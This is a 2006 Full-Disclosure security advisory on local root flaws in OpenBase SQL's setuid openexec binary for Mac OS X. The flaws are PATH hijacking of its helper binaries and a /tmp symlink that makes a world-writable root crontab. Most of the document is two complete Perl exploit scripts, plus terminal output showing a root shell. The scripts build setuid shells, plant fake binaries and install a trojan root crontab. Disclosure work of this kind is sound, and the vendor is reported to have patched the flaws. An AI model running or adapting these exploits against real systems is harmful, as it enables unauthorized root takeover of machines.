OpenBase SQL multiple vulnerabilities Part Deux

["K F (lists)" <kf_lists () digitalmunition com>]

DMA[2006-1107a] - 'OpenBase SQL multiple vulnerabilities Part Deux'
Author: Kevin Finisterre
Vendor(s): http://www.openbase.com
Product: 'OpenBase SQL <=10.0 (?)'
References: 
http://www.digitalmunition.com/DMA[2006-1107a].txt

Description:
(regurgitation warning - this may taste VERY familiar)

For over a decade, the OpenBase family of products have been enabling some of the most innovative business applications 
at work today. With thousands of customers worldwide, OpenBase has become a brand that companies can rely on. OpenBase 
customers include AT&T, Adobe Systems, Canon, Walt Disney, First National Bank of Chicago, MCI, Motorola, Apple, The 
Sharper Image and many other innovators worldwide. 

As mentioned previously several setuid root binaries from OpenBase SQL are placed in /Library/OpenBase/bin during the 
installation of WebObjects support for Xcode or during a standard OpenBase install. In this particular instance we will
be dealing only with the openexec binary. 

pwnercycles-ibook:/tmp pwnercycle$ ls -al /Library/OpenBase/bin/openexec
-rwsrwsr-x   1 root  admin  189544 Jan 13  2005 /Library/OpenBase/bin/openexec 

The openexec binary makes poor use of its setuid privileges when calling various helper binaries such as: cp, rm and 
killall. 
Each of the mentioned binaries winds up being called while openexec is running as root. Using the PATH environment 
variable 
it is possible to influence openbase in a manor that forces it to call the various helper binaries from a location of 
the 
attackers choice. Manipulating openexec via its path is an easy way for an attacker to obtain root.   

pwnercycles-ibook:/tmp pwnercycle$ ./openexec_duh.pl 

Usage: ./openexec_duh.pl <target> 

Targets:

        0 . cp - /Library/OpenBase/bin/openexec -install
        1 . killall - /Library/OpenBase/bin/openexec -kill
        2 . rm - /Library/OpenBase/bin/openexec -uninstall

pwnercycles-ibook:/tmp pwnercycle$ ./openexec_duh.pl 1
*** Target: killall - /Library/OpenBase/bin/openexec -kill
/bin/cp /tmp/finisterre /tmp/killall
sh-2.05b# id
uid=0(root) gid=0(wheel) groups=0(wheel), 81(appserveradm), 79(appserverusr), 80(admin)


The next issue with the openexec binary results in an attacker being able to place a root owned and world writable file 
anywhere on 
the target file system. Again the end result is a local root compromise, in this case a little cron nastiness is 
required. 

When an openexec instance starts a log is written to /tmp/output. Unfortunately when this log file is created openexec 
takes no 
objections to a symlink in place of the filename. A symlink can point to virtually anywhere on the filesystem so an 
attacker has many 
options at his disposal. In most cases being able to create a file alone will not get you root access. The proper umask 
and a crafty 
file location can make all the difference in the world in some instances. 

Having the ability to place a root owned file with rw-rw-rw- permissions anywhere on the filesystem is quite powerful. 
On Linux based 
systems writing to /etc/ld.so.preload has proven to be a reliable exploitation path to obtain root. Apple's OSX 
unfortunately has no 
such facility to abuse. After some research the most expediant way I could come up with to obtain root via rw-rw-rw- 
file creation was 
cron abuse.   

On a vanilla install of OSX there are no tabs in /var/cron/tabs, nor is cron even running. In order to exploit the cron 
facilities we
must have the cron daemon running. Fortunately the crontab -e command kicks off /usr/sbin/cron after a valid crontab is 
saved. 

pwnercycles-ibook:/tmp pwnercycle$ ps -ax | grep cron 
 2340  p4  R+     0:00.00 grep cron
pwnercycles-ibook:/tmp pwnercycle$ ls /var/cron/tabs/
pwnercycles-ibook:/tmp pwnercycle$ crontab -e 
crontab: no crontab for kf - using an empty one
crontab: installing new crontab
pwnercycles-ibook:/tmp pwnercycle$ ps -ax | grep cron 
 2344  ??  Ss     0:00.01 /usr/sbin/cron
 2346  p4  R+     0:00.00 grep cron
pwnercycles-ibook:/tmp pwnercycle$ ls /var/cron/tabs/
pwnercycle

According to the man page 'cron checks each minute to see if its spool directory's modtime (or the modtime on 
/etc/crontab) has changed, 
and if it has, cron will then examine the modtime on all crontabs and reload those which have changed.  Thus cron need 
not be restarted 
whenever a crontab file is modified'.

Wow how perfect is that! 1.) crontab -e to start cron 2.) create /var/cron/tabs/root 3.) wait 1 minute 4.) enjoy root 
shell.    

pwnercycles-ibook:/tmp pwnercycle$ ./openexec_createfile.pl 


Usage: ./openexec_createfile.pl <target> 

Targets:

        0 . OpenBase10.0.0_MacOSX.dmg

pwnercycles-ibook:/tmp pwnercycle$ ./openexec_createfile.pl 0
*** Target: OpenBase10.0.0_MacOSX.dmg /Library/OpenBase/bin/openexec
deactivating OpenBase Service

No matching processes belonging to you were found
No matching processes belonging to you were found
No matching processes belonging to you were found
/var/cron/tabs/root should be rw-rw-rw ... enjoy!
installing trojan crontab for root
sit around and chill for a minute then check /Users/Shared/shX !
sh-2.05b# id
uid=0(root) gid=0(wheel) groups=0(wheel), 81(appserveradm), 79(appserverusr), 80(admin)

Semi-insta root ala Apple's cron. 

Workaround: 
If you are using Xcode with WebObjects support you *may* be vulnerable to this issue. In a recent WebObjects update 
apple suggests to 
download the latest version of OpenBase directly from the vendor as a workaround to an other Outstanding Issue. 
Downloading with 
lastest vendor patches will effectively curb this issue. 

OpenBase has stated that this problem has been fixed in OpenBase 10.0.1 and that all users should download the new 
version. 

Thanks to Apple Staff for help coordinating with OpenBase. Even more thanks to OpenBase for the instant / weekend 
patch. 

#!/usr/bin/perl
#
# http://www.digitalmunition.com
# written by kf (kf_lists[at]digitalmunition[dot]com) 
#
# <= ftp://www.openbase.com/pub/OpenBase_10.0 (vulnerable) ?
#
# This is some fairly blatant and retarded use of system()
#
# cd cp chmod chown rm mkdir and killall appear as strings in the binary hrmm can you cay system() ! 
# -restart -MachLaunch -launch -noexit -install_plugins -kill -install -uninstall and -deactivate all 
# *may* be used to trigger these issues.
#
# I don't feel like seeing which flags call which binaries... just 3 is plenty to prove the point.  
#
# Tested against OpenBase10.0.0_MacOSX.dmg
 
$binpath = "/Library/OpenBase/bin/openexec"; # Typical location. 

$tgts{"0"} = "cp:$binpath -install";
$tgts{"1"} = "killall:$binpath -kill";
$tgts{"2"} = "rm:$binpath -uninstall";

unless (($target) = @ARGV) {
        print "\n\nUsage: $0 <target> \n\nTargets:\n\n";

        foreach $key (sort(keys %tgts)) {
                ($a,$b) = split(/\:/,$tgts{"$key"});
                print "\t$key . $a - $b\n";
        }

        print "\n";
        exit 1;
}

$ret = pack("l", ($retval));
($a,$b) = split(/\:/,$tgts{"$target"});
print "*** Target: $a - $b\n";

open(OP,">/tmp/finisterre.c");
printf OP "main()\n"; 
printf OP "{ seteuid(0); setegid(0); setuid(0); setgid(0); system(\"chown root: /tmp/pwns ; chmod 4775 /tmp/pwns\"); 
}\n";

open(OP,">/tmp/pwns.c");
printf OP "main()\n"; 
printf OP "{ seteuid(0); setegid(0); setuid(0); setgid(0); system(\"/bin/sh -i\"); }\n";

system("gcc -o /tmp/finisterre /tmp/finisterre.c"); 
system("gcc -o /tmp/pwns /tmp/pwns.c"); 

system("echo /bin/cp /tmp/finisterre /tmp/$a");
system("/bin/cp /tmp/finisterre /tmp/$a");

system("export PATH=/tmp:\$PATH; $b");
system("/tmp/pwns");

#!/usr/bin/perl
#
# http://www.digitalmunition.com
# written by kf (kf_lists[at]digitalmunition[dot]com) 
#
# <= ftp://www.openbase.com/pub/OpenBase_10.0 (vulnerable) ?
#
# Create a new file anywhere on the filesystem with rw-rw-rw privs. 
# Sorry you can NOT overwrite existing files. 
#
# Writing to roots crontab seems to be fairly prompt at handing out root shells
# Make sure that you get cron running by first creating a user crontab!
#
# The openexec binary creates a root owned log file in /tmp/ 
# Following symlinks is bad mmmmmmmmmmkay!
#
# Tested against  OpenBase10.0.0_MacOSX.dmg

$dest = "/var/cron/tabs/root";

$binpath = "/Library/OpenBase/bin/openexec"; # Typical location. 

# In this instance targets are really pointless but I wanted to archive known vulnerable versions while testing. 
$tgts{"0"} = "OpenBase10.0.0_MacOSX.dmg:$binpath";

unless (($target) = @ARGV) {
        print "\n\nUsage: $0 <target> \n\nTargets:\n\n";

        foreach $key (sort(keys %tgts)) {
                ($a,$b) = split(/\:/,$tgts{"$key"});
                print "\t$key . $a\n";
        }

        print "\n";
        exit 1;
}

$ret = pack("l", ($retval));
($a,$b) = split(/\:/,$tgts{"$target"});
print "*** Target: $a $b\n";

open(OP,">/tmp/finisterre.c");
printf OP "main()\n"; 
printf OP "{ seteuid(0); setegid(0); setuid(0); setgid(0); system(\"/bin/sh -i\"); }\n";
system("gcc -o /Users/Shared/shX /tmp/finisterre.c"); 

# Create a user crontab FIRST! This ensures that cron is running when the fake root crontab is created. Aka 
semi-insta-root (in a minute)
system("echo '* * * * * /usr/bin/id > /tmp/aa' > /tmp/user_cron");
system("crontab /tmp/user_cron");

# The umask is where the lovin occurs. I'm rw-rw-rw James bitch!!
system("ln -s $dest /tmp/output");
sleep 60;   # Probably don't need to wait this long but whatever... 

system("umask 111; $b -deactivate");
print "$dest should be rw-rw-rw ... enjoy!\n";
print "installing trojan crontab for root\n";

system("echo '* * * * * /usr/sbin/chown root: /Users/Shared/shX; /bin/chmod 4755 /Users/Shared/shX' > 
/var/cron/tabs/root");

print "sit around and chill for a minute then check /Users/Shared/shX !\n";
sleep 60 ;

system("/Users/Shared/shX");


_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/